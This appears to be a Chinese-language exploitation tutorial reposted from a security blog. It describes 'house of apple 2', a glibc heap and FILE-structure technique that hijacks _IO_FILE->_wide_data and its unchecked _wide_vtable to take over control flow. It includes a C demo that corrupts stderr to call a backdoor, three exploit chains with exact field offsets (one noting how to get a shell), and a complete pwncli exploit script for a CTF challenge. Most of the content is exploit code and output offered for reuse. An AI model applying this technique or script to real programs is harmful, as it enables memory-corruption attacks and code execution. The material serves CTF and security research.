之前提出了一种新的IO利用方法 。本篇是house of apple1的续集,继续给出基于IO_FILE->_wide_data的利用技巧。
在 里面提到: house of apple1 的利用链可以在任意地址写堆地址,相当于一次largebin attack的效果。因此,house of apple1 需要和其他方法结合而进行后续的FSOP利用。
那么在只劫持_wide_data的条件下能不能控制程序的执行流呢?答案是肯定的。
本篇的house of apple2会提出几条新的IO利用链,在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。
关于前置知识这里就不赘述了,详情可看 。
使用house of apple2的条件为:
heap地址和glibc地址IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发_IO_FILE的vtable和_wide_data,一般使用largebin attack去控制stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下
|
1
2
3
4
5
|
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
|
其中,IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。
观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
struct _IO_wide_data
{
wchar_t
*
_IO_read_ptr;
/
*
Current read pointer
*
/
wchar_t
*
_IO_read_end;
/
*
End of get area.
*
/
wchar_t
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
wchar_t
*
_IO_write_base;
/
*
Start of put area.
*
/
wchar_t
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
wchar_t
*
_IO_write_end;
/
*
End of put area.
*
/
wchar_t
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
wchar_t
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
wchar_t
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
wchar_t
*
_IO_backup_base;
/
*
Pointer to first valid character of
backup area
*
/
wchar_t
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[
1
];
const struct _IO_jump_t
*
_wide_vtable;
};
|
在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:
|
1
2
3
4
5
6
7
8
|
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)
-
>_wide_vtable
|
可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查。
因此,我们可以劫持IO_FILE的vtable为_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。
以下面提到的_IO_wdefault_xsgetn函数利用为例,编写demo示例如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor()
{
printf(
"\033[31m[!] Backdoor is called!\n"
);
_exit(
0
);
}
void main()
{
setbuf(stdout,
0
);
setbuf(stdin,
0
);
setbuf(stderr,
0
);
char
*
p1
=
calloc(
0x200
,
1
);
char
*
p2
=
calloc(
0x200
,
1
);
puts(
"[*] allocate two 0x200 chunks"
);
size_t puts_addr
=
(size_t)&puts;
printf(
"[*] puts address: %p\n"
, (void
*
)puts_addr);
size_t libc_base_addr
=
puts_addr
-
0x84420
;
printf(
"[*] libc base address: %p\n"
, (void
*
)libc_base_addr);
size_t _IO_2_1_stderr_addr
=
libc_base_addr
+
0x1ed5c0
;
printf(
"[*] _IO_2_1_stderr_ address: %p\n"
, (void
*
)_IO_2_1_stderr_addr);
size_t _IO_wstrn_jumps_addr
=
libc_base_addr
+
0x1e8c60
;
printf(
"[*] _IO_wstrn_jumps address: %p\n"
, (void
*
)_IO_wstrn_jumps_addr);
char
*
stderr2
=
(char
*
)_IO_2_1_stderr_addr;
puts(
"[+] step 1: change stderr->_flags to 0x800"
);
*
(size_t
*
)stderr2
=
0x800
;
puts(
"[+] step 2: change stderr->_mode to 1"
);
*
(size_t
*
)(stderr2
+
0xc0
)
=
1
;
puts(
"[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20"
);
*
(size_t
*
)(stderr2
+
0xd8
)
=
_IO_wstrn_jumps_addr
-
0x20
;
puts(
"[+] step 4: replace stderr->_wide_data with the allocated chunk p1"
);
*
(size_t
*
)(stderr2
+
0xa0
)
=
(size_t)p1;
puts(
"[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2"
);
*
(size_t
*
)(p1
+
0xe0
)
=
(size_t)p2;
puts(
"[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base"
);
*
(size_t
*
)(p1
+
0x20
)
=
(size_t)
1
;
puts(
"[+] step 7: put backdoor at fake _wide_vtable->_overflow"
);
*
(size_t
*
)(p2
+
0x18
)
=
(size_t)(&backdoor);
puts(
"[+] step 8: call fflush(stderr) to trigger backdoor func"
);
fflush(stderr);
}
|
编译后输出:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
[
*
] allocate two
0x200
chunks
[
*
] puts address:
0x7f8f73d2e420
[
*
] libc base address:
0x7f8f73caa000
[
*
] _IO_2_1_stderr_ address:
0x7f8f73e975c0
[
*
] _IO_wstrn_jumps address:
0x7f8f73e92c60
[
+
] step
1
: change stderr
-
>_flags to
0x800
[
+
] step
2
: change stderr
-
>_mode to
1
[
+
] step
3
: change stderr
-
>vtable to _IO_wstrn_jumps
-
0x20
[
+
] step
4
: replace stderr
-
>_wide_data with the allocated chunk p1
[
+
] step
5
:
set
stderr
-
>_wide_data
-
>_wide_vtable with the allocated chunk p2
[
+
] step
6
:
set
stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_ptr > stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_base
[
+
] step
7
: put backdoor at fake _wide_vtable
-
>_overflow
[
+
] step
8
: call fflush(stderr) to trigger backdoor func
[!] Backdoor
is
called!
|
可以看到,成功调用了后门函数。
目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE和_IO_WOVERFLOW。
其中_IO_WSETBUF和_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。
对fp的设置如下:
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C函数的调用链如下:
|
1
2
3
4
|
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
|
详细分析如下:
首先看_IO_wfile_overflow函数
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
wint_t
_IO_wfile_overflow (
FILE
*
f, wint_t wch)
{
if
(f
-
>_flags & _IO_NO_WRITES)
/
*
SET
ERROR
*
/
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
/
*
If currently reading
or
no
buffer
allocated.
*
/
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
)
{
/
*
Allocate a
buffer
if
needed.
*
/
if
(f
-
>_wide_data
-
>_IO_write_base
=
=
0
)
{
_IO_wdoallocbuf (f);
/
/
需要走到这里
/
/
......
}
}
}
|
需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0
|
1
2
3
4
5
6
7
8
9
10
11
12
|
void
_IO_wdoallocbuf (
FILE
*
fp)
{
if
(fp
-
>_wide_data
-
>_IO_buf_base)
return
;
if
(!(fp
-
>_flags & _IO_UNBUFFERED))
if
((wint_t)_IO_WDOALLOCATE (fp) !
=
WEOF)
/
/
_IO_WXXXX调用
return
;
_IO_wsetb (fp, fp
-
>_wide_data
-
>_shortbuf,
fp
-
>_wide_data
-
>_shortbuf
+
1
,
0
);
}
libc_hidden_def (_IO_wdoallocbuf)
|
需要满足fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0。
对fp的设置如下:
_flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可_IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0_wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C函数的调用链如下:
|
1
2
3
4
|
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
|
详细分析如下:
看_IO_wfile_underflow_mmap函数:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
static wint_t
_IO_wfile_underflow_mmap (
FILE
*
fp)
{
struct _IO_codecvt
*
cd;
const char
*
read_stop;
if
(__glibc_unlikely (fp
-
>_flags & _IO_NO_READS))
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp
-
>_wide_data
-
>_IO_read_ptr < fp
-
>_wide_data
-
>_IO_read_end)
return
*
fp
-
>_wide_data
-
>_IO_read_ptr;
cd
=
fp
-
>_codecvt;
/
*
Maybe there
is
something left
in
the external
buffer
.
*
/
if
(fp
-
>_IO_read_ptr >
=
fp
-
>_IO_read_end
/
*
No. But maybe the read
buffer
is
not
fully
set
up.
*
/
&& _IO_file_underflow_mmap (fp)
=
=
EOF)
/
*
Nothing available. _IO_file_underflow_mmap has
set
the EOF
or
error
flags as appropriate.
*
/
return
WEOF;
/
*
There
is
more
in
the external. Convert it.
*
/
read_stop
=
(const char
*
) fp
-
>_IO_read_ptr;
if
(fp
-
>_wide_data
-
>_IO_buf_base
=
=
NULL)
{
/
*
Maybe we already have a push back pointer.
*
/
if
(fp
-
>_wide_data
-
>_IO_save_base !
=
NULL)
{
free (fp
-
>_wide_data
-
>_IO_save_base);
fp
-
>_flags &
=
~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
/
/
需要走到这里
}
/
/
......
}
|
需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base == NULL和fp->_wide_data->_IO_save_base == NULL。
这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。
对fp的设置如下:
_flags设置为0x800vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可_mode设置为大于0,即满足*(fp + 0xc0) > 0_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A_wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A_wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B_wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C函数的调用链如下:
|
1
2
3
4
5
|
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x18
)(fp)
|
详细分析如下:
首先看_IO_wdefault_xsgetn函数:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
size_t
_IO_wdefault_xsgetn (
FILE
*
fp, void
*
data, size_t n)
{
size_t more
=
n;
wchar_t
*
s
=
(wchar_t
*
) data;
for
(;;)
{
/
*
Data available.
*
/
ssize_t count
=
(fp
-
>_wide_data
-
>_IO_read_end
-
fp
-
>_wide_data
-
>_IO_read_ptr);
if
(count >
0
)
{
if
((size_t) count > more)
count
=
more;
if
(count >
20
)
{
s
=
__wmempcpy (s, fp
-
>_wide_data
-
>_IO_read_ptr, count);
fp
-
>_wide_data
-
>_IO_read_ptr
+
=
count;
}
else
if
(count <
=
0
)
count
=
0
;
else
{
wchar_t
*
p
=
fp
-
>_wide_data
-
>_IO_read_ptr;
int
i
=
(
int
) count;
while
(
-
-
i >
=
0
)
*
s
+
+
=
*
p
+
+
;
fp
-
>_wide_data
-
>_IO_read_ptr
=
p;
}
more
-
=
count;
}
if
(more
=
=
0
|| __wunderflow (fp)
=
=
WEOF)
break
;
}
return
n
-
more;
}
libc_hidden_def (_IO_wdefault_xsgetn)
|
由于more是第三个参数,所以不能为0。
直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end,使得count为0,不进入if分支。
随后当more != 0时会进入__wunderflow。
接着看__wunderflow:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
wint_t
__wunderflow (
FILE
*
fp)
{
if
(fp
-
>_mode <
0
|| (fp
-
>_mode
=
=
0
&& _IO_fwide (fp,
1
) !
=
1
))
return
WEOF;
if
(fp
-
>_mode
=
=
0
)
_IO_fwide (fp,
1
);
if
(_IO_in_put_mode (fp))
if
(_IO_switch_to_wget_mode (fp)
=
=
EOF)
return
WEOF;
/
/
......
}
|
要想调用到_IO_switch_to_wget_mode,需要设置fp->mode > 0,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0。
然后在_IO_switch_to_wget_mode函数中:
|
1
2
3
4
5
6
7
8
|
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
/
/
需要走到这里
return
EOF;
/
/
.....
}
|
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)。
仍然以 中的pwn_oneday为例。
程序的详细分析就不在此赘述。为了方便展示利用效果,后面的rop部分就不做了,我们利用本篇文章提出的方法输出hack!字符串。
在largebin attack攻击_IO_list_all之后,伪造_IO_FILE结构:
|
1
2
3
4
5
6
7
8
9
10
11
12
|
target_addr
=
libc.sym._IO_list_all
_IO_wfile_jumps
=
libc.sym._IO_wfile_jumps
_lock
=
libc_base
+
0x1f5720
fake_IO_FILE
=
heap_base
+
0x1810
f1
=
IO_FILE_plus_struct()
f1.flags
=
u64_ex(
" hack!"
)
f1._IO_read_ptr
=
0xa81
f1._lock
=
_lock
f1._wide_data
=
fake_IO_FILE
+
0xe0
f1.vtable
=
_IO_wfile_jumps
|
所以最后的exp为:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from
pwncli
import
*
cli_script()
io: tube
=
gift[
'io'
]
elf: ELF
=
gift[
'elf'
]
libc: ELF
=
gift[
'libc'
]
small
=
1
medium
=
2
large
=
3
key
=
10
def
add(c):
sla(
"enter your command: \n"
,
"1"
)
sla(
"choise: "
,
str
(c))
def
dele(i):
sla(
"enter your command: \n"
,
"2"
)
sla(
"Index: \n"
,
str
(i))
def
read_once(i, data):
sla(
"enter your command: \n"
,
"3"
)
sla(
"Index: "
,
str
(i))
sa(
"Message: \n"
, flat(data, length
=
0x110
*
key))
def
write_once(i):
sla(
"enter your command: \n"
,
"4"
)
sla(
"Index: "
,
str
(i))
ru(
"Message: \n"
)
m
=
rn(
0x10
)
d1
=
u64_ex(m[:
8
])
d2
=
u64_ex(m[
8
:])
log_address_ex(
"d1"
)
log_address_ex(
"d2"
)
return
d1, d2
def
bye():
sla(
"enter your command: \n"
,
"9"
)
sla(
"enter your key >>\n"
,
str
(key))
add(medium)
add(medium)
add(small)
dele(
2
)
dele(
1
)
dele(
0
)
add(small)
add(small)
add(small)
add(small)
dele(
3
)
dele(
5
)
m1, m2
=
write_once(
3
)
libc_base
=
set_current_libc_base_and_log(m1,
0x1f2cc0
)
heap_base
=
m2
-
0x17f0
dele(
4
)
dele(
6
)
add(large)
add(small)
add(small)
dele(
8
)
add(large)
target_addr
=
libc.sym._IO_list_all
_IO_wfile_jumps
=
libc.sym._IO_wfile_jumps
_lock
=
libc_base
+
0x1f5720
fake_IO_FILE
=
heap_base
+
0x1810
f1
=
IO_FILE_plus_struct()
f1.flags
=
u64_ex(
" hack!"
)
f1._IO_read_ptr
=
0xa81
f1._lock
=
_lock
f1._wide_data
=
fake_IO_FILE
+
0xe0
f1.vtable
=
_IO_wfile_jumps
data
=
flat({
0x8
: target_addr
-
0x20
,
0x10
: {
0
: {
0
: bytes(f1),
0xe0
: {
# _wide_data->_wide_vtable
0x18
:
0
,
# f->_wide_data->_IO_write_base
0x30
:
0
,
# f->_wide_data->_IO_buf_base
0xe0
: fake_IO_FILE
+
0x200
},
0x200
: {
0x68
: libc.sym.puts
}
},
0xa80
: [
0
,
0xab1
]
}
})
read_once(
5
, data)
dele(
2
)
add(large)
bye()
ia()
|
调试如下:
通过exit执行到_IO_wdoallocbuf:

成功输出hack!:

house of apple主要关注对_IO_FILE->_wide_data成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。
可以看到,对_wide_data->_wide_vtable虚表的成员函数指针调用时并不存在vtable的检查,因此,可以利用该漏洞进行FSOP。
更多【 House of apple 一种新的glibc中IO攻击方法 (2)】相关视频教程:www.yxfzedu.com